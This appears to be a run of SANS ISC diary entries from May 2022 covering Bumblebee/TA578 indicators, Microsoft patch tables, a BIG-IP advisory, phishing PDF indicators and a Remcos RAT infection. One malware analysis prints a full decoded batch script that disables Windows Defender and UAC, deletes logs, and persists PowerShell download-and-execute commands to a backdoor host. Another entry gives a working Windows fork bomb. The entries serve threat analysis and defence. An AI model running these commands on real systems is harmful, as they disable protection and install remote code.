• File size: 1,612 bytes
• File name: documents.lnk
• File description: Windows shortcut in both document.iso and invoice_pdf_49.iso
• Shortcut: %windir%\system32\rundll32.exe ramest.dll,SjVjlixjPb

SHA256 hash: e6357f7383b160810ad0abb5a73cfc13a17f4b8ea66d6d1c7117dbcbcf1e9e0f

• File size: 1,390,592 bytes
• File name: ramest.dll
• File description: Bumblebee 64-bit DLL in document.iso

SHA256 hash: f398740233f7821184618c6c1b41bc7f41da5f2dbde75bbd2f06fc1db70f9130

• File size: 1,3900,80 bytes
• File name: ramest.dll
• File description: Bumblebee 64-bit DLL in invoice_pdf_49.iso

Note: Both of the above ramest.dll files have the same import hash (imphash) of 66356a654249c4824378b1a70e7cc1e5

SIMILARITIES TO CONTACT FORMS CAMPAIGN:

TA578 'document' download pages are similar to 'Stolen Images Evidence' pages used for the Contact Forms campaign.  Both are hosted on storage.googleapis.com pages with appspot.com in the URL.  Both generate traffic to a malicious URL ending in logo.jpg that returns script with base64 text used to generate a malicious ISO file for download.

The following are 4 examples of URLs generated by 'document' download pages for malicious ISO files in May 2022:

• hxxps://baronrtal[.]com/img/logo.jpg
• hxxps://bunadist[.]com/img/logo.jpg
• hxxps://omnimature[.]com/img/logo.jpg
• hxxps://vorkinal[.]com/img/logo.jpg

The following are 4 examples of URLs generated by 'Stolen Images Evidence' pages for malicious ISO files in May 2022:

• hxxps://bunadist[.]com/images/logo.jpg
• hxxps://curanao[.]com/images/logo.jpg
• hxxps://goranism[.]com/images/logo.jpg
• hxxps://olodaris[.]com/images/logo.jpg

As seen above, 'Stolen Images Evidence' pages generate URLs ending in /images/logo.jpg, while 'document' download pages generate URLs ending in /img/logo.jpg.

URLs hosted on storage.googleapis.com for 'Stolen Images Evidence' pages end with ?l= or ?h= or similar strings ollowed by a numeric value.  For example, hxxps://storage.googleapis[.]com/oieqeh1cxwnd81.appspot.com/bl/file/sh/0/fWpa4HT4ck6v6.html?l=827470894993112750 is a URL for a recent 'Stolen Images Evidence' page.

URLs hosted on storage.googleapis.com for 'document' download pages end in .html.  For example: hxxps://storage.googleapis[.]com/pz3ksj5t45tg4t.appspot.com/q/pub/file/0/filejBWdkst6Ua3s.html is a URL for a recent 'document' download page.

FINAL WORDS:

The Contact Forms campaign switches between pushing ISO files for Bumblebee malware, or pushing ISO files for IcedID (Bokbot) malware, and I've seen both during the same week.  Since February 2022, TA578 has been noted pushing both families of malware.  And in recent weeks, TA578 has been using thread-hijacked emails to distribute ISO files for Bumblebee malware.  TA578 might also distribute IcedID using the same type of thread-hijacked messages.

While the malware may be different, I occasionally find Cobalt Strike from either Bumblebee or IcedID when testing samples in Active Directory (AD) environments.  Cobalt Strike can lead to ransomware or other malicious activity.

If TA578 activity is caught and stopped in its early stages, potential victims might avoid more serious harm.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

This month we got patches for 75 vulnerabilities. Of these, 8 are critical, 3 were previously disclosed, and one is already being exploited according to Microsoft.

The already exploited vulnerability is a spoofing vulnerability affecting Windows LSA (CVE-2022-26925) with a CVSS score of 8.1. According to the advisory, “An unauthenticated attacker could call a method on the LSARPC interface and coerce the domain controller to authenticate to the attacker using NTLM. This security update detects anonymous connection attempts in LSARPC and disallows it.” Additionally, Microsoft advises that further actions, detailed in KB5005413, are needed to protect the system after applying the patch. Microsoft also advises prioritizing domain controllers when applying patches. Regarding attack complexity, the advisory says it is “Complex” given that the attacker must inject themselves into the logical network path between the target and the resource requested by the victim in order to read or modify network communications (MITM attack).

The highest CVSS score this month (9.8) is associated with a Remote Code Execution (RCE) Vulnerability affecting Windows Network File System (CVE-2022-26937). The vulnerability does not affect version NFSV4.1. So, as temporary mitigation, disabling versions NFSV2 and NFSV3 might be helpful. A similar vulnerability affecting NFS, discovered by the same researchers, was patched last month (CVE-2022-24497).

There is also an RCE CVSS 9.8 affecting Windows LDAP (CVE-2022-22012). According to the advisory, "this vulnerability is only exploitable if the MaxReceiveBuffer LDAP policy is set to a value higher than the default value. Systems with the default value of this policy would not be vulnerable". 

It's also worth mentioning an elevation of privilege vulnerability affecting Active Directory Domain Services (CVE-2022-26923). The vulnerability is present only on systems Active Directory Certificate Services on the domain. According to the advisory, “An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege”. The CVSS for this vulnerability is 8.8.

May 2022 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Framework Denial of Service Vulnerability
%%cve:2022-30130%%	No	No	-	-	Low	3.3	2.9
.NET and Visual Studio Denial of Service Vulnerability
%%cve:2022-23267%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-29117%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-29145%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Active Directory Domain Services Elevation of Privilege Vulnerability
%%cve:2022-26923%%	No	No	More Likely	More Likely	Critical	8.8	7.7
BitLocker Security Feature Bypass Vulnerability
%%cve:2022-29127%%	No	No	Less Likely	Less Likely	Important	4.2	3.7
Insight Software: CVE-2022-29972 Magnitude Simba Amazon Redshift ODBC Driver
%%cve:2022-29972%%	Yes	No	More Likely	More Likely	Critical
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2022-29109%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-29110%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2022-21978%%	No	No	Less Likely	Less Likely	Important	8.2	7.1
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2022-29107%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2022-29108%%	No	No	More Likely	More Likely	Important	8.8	7.7
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2022-29105%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability
%%cve:2022-21972%%	No	No	Less Likely	Less Likely	Critical	8.1	7.1
%%cve:2022-23270%%	No	No	More Likely	More Likely	Critical	8.1	7.1
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2022-22017%%	No	No	More Likely	More Likely	Critical	8.8	7.7
Remote Desktop Protocol Client Information Disclosure Vulnerability
%%cve:2022-26940%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Remote Procedure Call Runtime Remote Code Execution Vulnerability
%%cve:2022-22019%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Storage Spaces Direct Elevation of Privilege Vulnerability
%%cve:2022-26932%%	No	No	Less Likely	Less Likely	Important	8.2	7.1
%%cve:2022-26938%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
%%cve:2022-26939%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Tablet Windows User Interface Application Core Elevation of Privilege Vulnerability
%%cve:2022-29126%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Upcoming improvements to Azure Data Factory and Azure Synapse Pipeline infrastructure in response to CVE-2022-29972
ADV220001	No	No	-	-	Critical
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2022-30129%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Visual Studio Remote Code Execution Vulnerability
%%cve:2022-29148%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows ALPC Elevation of Privilege Vulnerability
%%cve:2022-23279%%	No	No	More Likely	More Likely	Important	7.0	6.1
Windows Address Book Remote Code Execution Vulnerability
%%cve:2022-26926%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Authentication Security Feature Bypass Vulnerability
%%cve:2022-26913%%	No	No	Less Likely	Less Likely	Important	7.4	6.4
Windows Cluster Shared Volume (CSV) Elevation of Privilege Vulnerability
%%cve:2022-29135%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
%%cve:2022-29150%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
%%cve:2022-29151%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Clustered Shared Volume Elevation of Privilege Vulnerability
%%cve:2022-29138%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Clustered Shared Volume Information Disclosure Vulnerability
%%cve:2022-29134%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2022-29120%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2022-29122%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2022-29123%%	No	No	Less Likely	Less Likely	Important	6.5	5.9
Windows Digital Media Receiver Elevation of Privilege Vulnerability
%%cve:2022-29113%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Failover Cluster Information Disclosure Vulnerability
%%cve:2022-29102%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Fax Service Remote Code Execution Vulnerability
%%cve:2022-29115%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Graphics Component Information Disclosure Vulnerability
%%cve:2022-26934%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2022-22011%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
%%cve:2022-29112%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2022-26927%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Windows Hyper-V Denial of Service Vulnerability
%%cve:2022-22713%%	Yes	No	Less Likely	Less Likely	Important	5.6	5.1
Windows Hyper-V Security Feature Bypass Vulnerability
%%cve:2022-24466%%	No	No	Less Likely	Less Likely	Important	4.1	3.6
Windows Hyper-V Shared Virtual Disk Elevation of Privilege Vulnerability
%%cve:2022-29106%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2022-26931%%	No	No	Less Likely	Less Likely	Critical	7.5	6.5
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2022-29133%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-29142%%	No	No	More Likely	More Likely	Important	7.0	6.1
Windows Kernel Information Disclosure Vulnerability
%%cve:2022-29116%%	No	No	Less Likely	Less Likely	Important	4.7	4.1
Windows LDAP Remote Code Execution Vulnerability
%%cve:2022-22012%%	No	No	Less Likely	Less Likely	Important	9.8	8.5
%%cve:2022-22013%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-22014%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-29128%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-29129%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-29130%%	No	No	Less Likely	Less Likely	Important	9.8	8.5
%%cve:2022-29131%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-29137%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-29139%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-29141%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Windows LSA Spoofing Vulnerability
%%cve:2022-26925%%	Yes	Yes	Detected	Detected	Important	8.1	7.1
Windows NTFS Information Disclosure Vulnerability
%%cve:2022-26933%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Network File System Remote Code Execution Vulnerability
%%cve:2022-26937%%	No	No	More Likely	More Likely	Critical	9.8	8.5
Windows PlayToManager Elevation of Privilege Vulnerability
%%cve:2022-22016%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2022-29104%%	No	No	More Likely	More Likely	Important	7.8	6.8
%%cve:2022-29132%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Print Spooler Information Disclosure Vulnerability
%%cve:2022-29114%%	No	No	More Likely	More Likely	Important	5.5	4.8
%%cve:2022-29140%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Push Notifications Apps Elevation of Privilege Vulnerability
%%cve:2022-29125%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
%%cve:2022-29103%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2022-26930%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability
%%cve:2022-22015%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows Server Service Information Disclosure Vulnerability
%%cve:2022-26936%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows WLAN AutoConfig Service Denial of Service Vulnerability
%%cve:2022-29121%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows WLAN AutoConfig Service Information Disclosure Vulnerability
%%cve:2022-26935%%	No	No	Less Likely	Less Likely	Important	6.5	5.7

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Last week, I found another interesting Word document that delivered an interesting malicious script to potential victims. Usually, Office documents carry VBA macros that are activated using a bit of social engineering (the classic yellow ribbon) but this time, the document did not contain any malicious code:

remnux@/MalwareZoo/20220505$ oledump.py f1763579a9319d2506ee468031e1eb1b.doc 
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      7624 '1Table'
  5:     15906 'Data'
  6:      4096 'WordDocument'

But you can see stream 5 is called "Data". When you open the document, you see this:

The document SHA256 is 6e3ef2551b1f34685025f9fe1d6358ef95fbe21ada8ed9de3c7c4d5070520f6eand its current VT score is 22/60[1]. The document contains embedded objects that look like PDF files but they are'nt:

If you follow the instruction and click on one of the PDF icons (all three point to the same script), the script will be executed. Let's have a look at it:

It looks pretty well obfuscated:

%xlnlrpz%%fynwfvh%%dskbaxq%.%fynwfvh%%lxckycu%%fynwfvh% %wegkoem%%tjxpouf%%tjxpouf% %yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyyjm%%wegkoem%%xlnlrpz%%fynwfvh%\%hxiqvtv%%pjdvllg%%khoziql%%xlnlrpz%%nutqtmu%%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%\%rmyyyjm%%pjdvllg%%bysdcmi%%tjxpouf%%nutqtmu%%rmyyyjm%%ybbwhci%\%khoziql%%jxdklrj%%xlnlrpz%%xlnlrpz%%fynwfvh%%bysdcmi%%flbzyhx%%cbwqklh%%fynwfvh%%xlnlrpz%%ybbwhci%%pjdvllg%%nutqtmu%%bysdcmi%\%brlbmmf%%nutqtmu%%mkmhtbo%%pjdvllg%%khoziql%%pjdvllg%%fynwfvh%%ybbwhci%\%ybbwhci%%tjtkrhi%%ybbwhci%%flbzyhx%%fynwfvh%%hxiqvtv% /%cbwqklh% %fynwfvh%%bysdcmi%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%mkmhtbo%%jxdklrj%%wegkoem% /%flbzyhx% %xlnlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf% 0 /%gfuxihu%

In Microsoft batch files, "%...%" represents a variable. If you look carefully at the code, you see that we just have a suite of environment variables with, sometimes, clear characters. Those characters are special ones like "/", "." or numbers. The obfuscation technique used here is pretty simple but efficient. Environment variables just contain letters from A to Z:

set wegkoem=a
set bpltpmn=b
set khoziql=c
set tjxpouf=d
set fynwfvh=e
set gfuxihu=f
set dskbaxq=g
set yvyapob=h
set pjdvllg=i
set mnmpqbg=j
set eeuyvwk=k
set mkmhtbo=l
set hxiqvtv=m
set bysdcmi=n
set nutqtmu=o
set brlbmmf=p
set hoahisa=q
set xlnlrpz=r
set ybbwhci=s
set flbzyhx=t
set jxdklrj=u
set cbwqklh=v
set rmyyyjm=w
set lxckycu=x
set tjtkrhi=y
set ikoiset=z

Once you replaced all variables with the corresponding letters, the script is easier to read but you still have to clean it:

@%e%%c%%h%%o% %o%%f%%f%

Here is the complete decoded script:

@echo off
reg delete "hklm\software\policies\microsoft\windows defender" /f
reg add "hklm\software\policies\microsoft\windows defender" /v "disableantispyware" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender" /v "disableantivirus" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\mpengine" /v "mpenablepus" /t reg_dword /d "0" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disablebehaviormonitoring" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disableioavprotection" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disableonaccessprotection" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disablerealtimemonitoring" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disablescanonrealtimeenable" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\reporting" /v "disableenhancednotifications" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\spynet" /v "disableblockatfirstseen" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\spynet" /v "spynetreporting" /t reg_dword /d "0" /f
reg add "hklm\software\policies\microsoft\windows defender\spynet" /v "submitsamplesconsent" /t reg_dword /d "0" /f
rem 0 - disable logging
reg add "hklm\system\currentcontrolset\control\wmi\autologger\defenderapilogger" /v "start" /t reg_dword /d "0" /f
reg add "hklm\system\currentcontrolset\control\wmi\autologger\defenderauditlogger" /v "start" /t reg_dword /d "0" /f
rem disable wd tasks
schtasks /change /tn "microsoft\windows\exploitguard\exploitguard mdm policy refresh" /disable
schtasks /change /tn "microsoft\windows\windows defender\windows defender cache maintenance" /disable
schtasks /change /tn "microsoft\windows\windows defender\windows defender cleanup" /disable
schtasks /change /tn "microsoft\windows\windows defender\windows defender scheduled scan" /disable
schtasks /change /tn "microsoft\windows\windows defender\windows defender verification" /disable
rem disable wd systray icon
reg delete "hklm\software\microsoft\windows\currentversion\explorer\startupapproved\run" /v "windows defender" /f
reg delete "hkcu\software\microsoft\windows\currentversion\run" /v "windows defender" /f
reg delete "hklm\software\microsoft\windows\currentversion\run" /v "windowsdefender" /f
rem remove wd context menu
reg delete "hkcr\*\shellex\contextmenuhandlers\epp" /f
reg delete "hkcr\directory\shellex\contextmenuhandlers\epp" /f
reg delete "hkcr\drive\shellex\contextmenuhandlers\epp" /f
rem disable wd services
reg add "hklm\system\currentcontrolset\services\wdboot" /v "start" /t reg_dword /d "4" /f
reg add "hklm\system\currentcontrolset\services\wdfilter" /v "start" /t reg_dword /d "4" /f
reg add "hklm\system\currentcontrolset\services\wdnisdrv" /v "start" /t reg_dword /d "4" /f
reg add "hklm\system\currentcontrolset\services\wdnissvc" /v "start" /t reg_dword /d "4" /f
reg add "hklm\system\currentcontrolset\services\windefend" /v "start" /t reg_dword /d "4" /f
reg add "hklm\system\currentcontrolset\services\securityhealthservice" /v "start" /t reg_dword /d "4" /f

reg.exe add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /f

reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "#one" /t reg_sz /d "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php');\"" /f

reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "#oneupdate" /t reg_sz /d "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:443/uddiexplorer');\"" /f

"c:\program files\microsoft security client\setup.exe" /x /s /disableoslimit

start /b powershell add-mppreference -exclusionpath "c:" -force

start /b powershell add-mppreference -exclusionpath "c:\users" -force

start /b powershell -w hidden "iex(new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:443/uddiexplorer');"
 
start /b powershell -w hidden "add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php');"

schtasks /create /sc minute /mo 60 /f /tn achromeupdater /tr "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring(''hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php''');\""

schtasks /f /create /sc minute /mo 60 /tn achromeupdateri /tr "powershell.exe -w hidden 'iex (new-object net.webclient).downloadstring(''hxxp://hpsj[.]firewall-gateway[.]net:443/uddiexplorer''');'"

sc stop windefend
sc config windefend start= disabled
sc delete windefend
sc stop wdnissvc
sc config wdnissvc start= disabled
sc delete wdnissvc
sc stop sense
sc config sense start= disabled
sc delete sense
sc stop wuauserv
sc config wuauserv start= disabled
sc stop usosvc
sc config usosvc start= disabled
sc stop waasmedicsvc
sc config waasmedicsvc start= disabled
sc stop securityhealthservice
sc config securityhealthservice start= disabled
sc delete securityhealthservice
sc stop sdrsvc
sc config sdrsvc start= disabled
sc stop wscsvc
sc config wscsvc start= disabled
sc stop wdiservicehost
sc config wdiservicehost start= disabled
sc stop wdisystemhost
sc config wdisystemhost start= disabled
sc stop installservice
sc config installservice start= disabled
sc stop vaultsvc
sc config vaultsvc start= disabled
sc stop spooler
sc config spooler start= disabled
sc stop licensemanager
sc config licensemanager start= disabled
sc stop diagtrack
sc config diagtrack start= disabled
taskkill /f /im smartscreen.exe
taskkill /f /im securityhealthservice.exe
cd c:\
cd c:\program files\
rd /s /q "windows defender"
rd /s /q "windows defender advanced threat protection"
rd /s /q "windows security"
cd c:\program files (x86)\
rd /s /q "windows defender"
cd c:\programdata\microsoft
rd /s /q "windows defender"
rd /s /q "windows defender advanced threat protection"
rd /s /q "windows security health"
cd c:\
cd windows
cd system32
del /f windowsupdateelevatedinstaller.exe
del /f securityhealthsystray.exe
del /f securityhealthservice.exe
del /f securityhealthhost.exe
del /f securitycenterbroker.dll
del /f securitycenterbrokerps.dll
del /f securityhealthagent.dll
del /f securityhealthproxystub.dll
del /f securityhealthsso.dll
del /f smartscreensettings.exe
del /f smartscreenps.dll
del /f smartscreen.exe
del /f windows.security.integrity.dll
del /f windowsdefenderapplicationguardcsp.dll
del /f wscsvc.dll
del /f wscsvc.dll.mui
del /f wsecedit.dll
cd winevt\logs
del /f microsoft-windows-windows defender4operational.evtx
del /f microsoft-windows-windows defender4whc.evtx
del /f microsoft-windows-security-audit-configuration-client4operational.evtx
del /f microsoft-windows-security-enterprisedata-filerevocationmanager4operational.evtx
del /f microsoft-windows-security-netlogon

The domain hpsj[.]firewall-gateway[.]net is well-known, it's a good old Octopus backdoor. I already wrote a diary about it in 2020[2]! But it seems to be back with a simple but effective obfuscation technique.

[1] https://www.virustotal.com/gui/file/6e3ef2551b1f34685025f9fe1d6358ef95fbe21ada8ed9de3c7c4d5070520f6e
[2] https://isc.sans.edu/forums/diary/Malicious+Word+Document+Delivering+an+Octopus+Backdoor/26918/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

TL;DR: Patch your BIG-IP and disconnect the management interface from the internet. Now.

Last week, F5 released an update to its BIG-IP product, patching a vulnerability affecting the iControl REST API. https://support.f5.com/csp/article/K23605346

The vulnerability is noteworthy as it does allow unauthenticated attackers to execute arbitrary system commands, create or delete files, or disable services. The attacker, in other words, gains complete control over the affected device.

But the vulnerability does require access to the management port or "self IP addresses." We had a similar severe BIG-IP vulnerability about two years ago, %%cve:2020-5902%%. It, too, was only exploitable via the management interface. I noted, "certainly make sure that the management plane is not exposed to the public Internet. Who knows when the next vulnerability in this feature will be found!". Well, this is the next time. If you didn't listen back then, you will probably not listen now, and you will probably not be reading blogs like this. But here we go again. So let's summarize some of the details:

Affected Devices: Everything older than BIG-IP 17. Patches are available for BIG-IP 13-16. BIG-IP 11 and 12 are vulnerable but too old to be patched.

Two groups announced on Twitter that they had developed exploits, and one stated that they would release an exploit publicly this week. Some noted scanning for BIG IP, but it isn't clear if there is widespread scanning using the exploit, or just finding exposed BIG IP administrative interfaces.

So what should you do?

Usually, I recommend patching first and later attending to the configuration issues. But in this case, I will swap this order: First, make sure you are not exposing the admin interface. If you can't manage that: Don't try patching. Turn off the device instead. If the configuration interface is safe: Patch.

A bit of Googling will lead you to excellent configuration guides like https://github.com/dnkolegov/bigipsecurity/blob/master/README.md . But if all fails: I hear that there may be a manual and help pages provided by F5. If you tossed it when you first unpacked the device: They got it online! 

How big of an issue is this? There are not a lot of these devices exposed, luckily. The numbers are a bit "all over," but likely around a thousand. Censys lists 2,555 (https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=services.http.response.html_title%3A+%22BIG-IP%26reg%3B-+Redirect%22+ ) Shodan shows 534,051 if you search for BigIP, but this isn't just the management interface. These are also websites behind BIG IP load balancers.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I received several PDF like these in the past few days in my ISC mailbox and decided to look at 3 that were very similar. All 3 files are a one page picture with nothing else in it except a URL.

Looking at the first one using Didier's pdfid.py tool:

There is something interesting in all 3 of them, they all have a URL (/URI) embedded in them. Using pdf-parser.py, lets extract the URLs:

PDF 1

PDF 2

PDF 3

What is interesting about all 3 email is they all have the same behavior with the same location /a/. The first 2 URLs do not resolve, only aleksalekss[.]ru resolve to 80.66.78.78 which was recently activated on the 28 March 2022. Several files have been submitted to VirusTotal in the past 4 days with 0 to low detection[1]. None of the 3 files below had any matches (submissions) in VirusTotal.

Indicator of Compromised (IOCs)

Domains & IP

lsochi-tour[.]ru/a/
ljmail1[.]ru/a/
aleksalekss[.]ru/a/ [4]
80.66.78.78 [2][3]

Hashes

183ca34d4b44b7829691914f061bc464d3ac69242e447376b3c9ac6b17e9cecf  31395491-c4be-410a-bced-33c5ffa3dfa8.pdf
71a43d397b93206e7834e7e85b230b4e8391546c37a9b23bfe94d66f573deedc  3c269e40-66de-4b73-927d-d432a657f3c5.pdf
5c0c5306b1ca1f5c98bcb050fa31407318ab3a8ff4ecd44365cc1d32acb553e9  f9098979-c185-4256-bec9-5ea786d7ac7a.pdf

[1] https://www.virustotal.com/gui/ip-address/80.66.78.78/relations
[2] https://cybergordon.com/result.html?id=422bee43-b3d2-49db-8b29-2d1287b1f195
[3] https://otx.alienvault.com/indicator/ip/80.66.78.78
[4] https://otx.alienvault.com/indicator/domain/aleksalekss.ru

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

During a malware analysis class I taught recently, one of the students asked me what was “the simplest malware in the world”. Of course, the answer to this question would depend heavily on one’s definitions of ‘simplest’ and ‘malware’, as well as on a target hardware architecture and its operating system (and potentially additional software and other factors), but I thought that it was conceptually interesting enough to devote today's diary to.

If we were to discuss simplicity only in the terms of overall size of the code, and define ‘malware’ (with small help from NIST[1]), as a “program, that is intended to compromise the confidentiality, integrity, or availability of the victim’s data, applications, or operating system or to otherwise annoy or hinder the victim”, then the simplest malware overall would probably be a single instruction of the “Halt and Catch Fire” type[2] for any platform, on which instructions capable (by design or due to a bug) of stopping CPU operations were available and could be executed on their own. Or – to be exact – the simplest malware would probably be such a code on a platform, on which the instruction would be shortest (which would probably come to a single byte). However, this is purely theoretical answer from a historical standpoint.

If we were move beyond this case and focus only on code that can run on modern operating systems and current hardware platforms, the situation becomes much more complex. And although I spent some time thinking about what the smallest malware might be, and I do have a potential answer, I’m not completely certain it is the correct one. If you can think of a smaller example of a working malicious code, let us know in the comments.

Anyway, since I wasn’t able to think of, nor find anything “smaller”, I came to believe that the most common version of the fork bomb for Windows might be the smallest (at least the smallest current) real world malware.

Fork bombs, or “rabbits” or “wabbits”, as they are also sometimes called, are probably among the oldest types of malware overall[3], and they are quite simple. Their only function is to execute two copies of themselves each time they are run. This means that once a fork bomb is executed on a system, the number of fork bomb processes running on that system will start exponentially increasing, which – as you can probably imagine – will quickly result in resource exhaustion.

The most well-known fork bomb for Windows, which may be implemented as a standalone batch file, is made up of only the following 5 ASCII characters (i.e., 5 bytes). 

%0|%0

Despite its small size, it can have a quick and fairly unpleasant effect – feel free to test it for yourself (though, I would recommend that you do so in a VM, which you won’t mind rebooting afterwards).

As I’ve mentioned, I’m not completely sure that this fork bomb is the smallest malware there is for modern platforms, however, with only 5 bytes in length, it has to be at least close... And it shows quite well that malware does not have to be complex to be effective.

[1] https://csrc.nist.gov/glossary/term/malware
[2] https://en.wikipedia.org/wiki/Halt_and_Catch_Fire_(computing)
[3] https://en.wikipedia.org/wiki/Wabbit_(computing)

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

Introduction

I haven't really looked into Remcos RAT lately, but I found an email with a password-protected Excel file attached to it.  Further investigation revealed Remcos RAT 3.x activity remarkably similar to an infection chain reported by Fortinet last month.  Today's diary reviews a Remcos RAT infection in my lab on Wednesday 2022-05-04.

Shown above:  Chain of events from Remcos RAT infection on Wednesday 2022-05-04.

Images from the investigation

Shown above:  Screenshot of email used to kick off this infection.

Shown above:  Need password from the email to open the attached Excel spreadsheet.

Shown above:  Screenshot of the unlocked Excel spreadsheet with a malicious macro for Remcos RAT.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Alert in Security Onion reveals suspected Remcos RAT traffic on 184.75.221[.]203.

Shown above:  First HTTP GET request after enabling macros on the Excel spreadsheet.

Shown above:  Script returned from first HTTP request saved to victim's /AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup directory.

Shown above:  Script used for this infection obfuscated using binary-based text.

Shown above:  More obfuscated script used for this infection.

